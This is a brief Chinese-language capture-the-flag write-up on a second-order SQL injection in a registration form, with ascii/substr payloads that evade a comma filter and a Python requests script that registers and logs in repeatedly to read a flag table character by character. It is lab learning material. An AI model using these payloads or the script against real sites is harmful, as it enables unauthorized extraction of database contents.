
sql注入是这样的
看了一眼登录界面,什么也没有
放心了
肯定是有注册页面
register.php

先随便注册一个

登录发现回显的用户名
这包的是二次注入的
就是不知道怎么注入
尝试了一下常规注入好像不大行
1'+ascii(substr(database() from 1 for 1))+'0
|
看了一下大佬的wp
通过ascii码来进行读取
同时使用from for代替逗号
同时过滤了information
所以表名只能靠猜,所以猜测是flag
回到题目
这样的注入是因为在一开始尝试了
ascii(substr(database() from 1 for 1))
|
发现回显的是字符串所以猜测将上传的username两边加了引号
payload则是为了闭合引号
所以写脚本爆flag
import requests import logging import re from time import sleep
# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s" # logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)
def search(): flag = '' url = 'http://fd61fced-c80d-4436-aa4e-b3aa75cf7fae.node5.buuoj.cn:81/' url1 = url+'register.php' url2 = url+'login.php' for i in range(100): sleep(0.3)#不加sleep就429了QAQ data1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"} data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"} r1 = requests.post(url1, data=data1) r2 = requests.post(url2, data=data2) res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text) res1 = re.search(r'\d+', res.group()) flag = flag+chr(int(res1.group())) print(flag) print("final:"+flag)
if __name__ == '__main__': search()
|
得到flag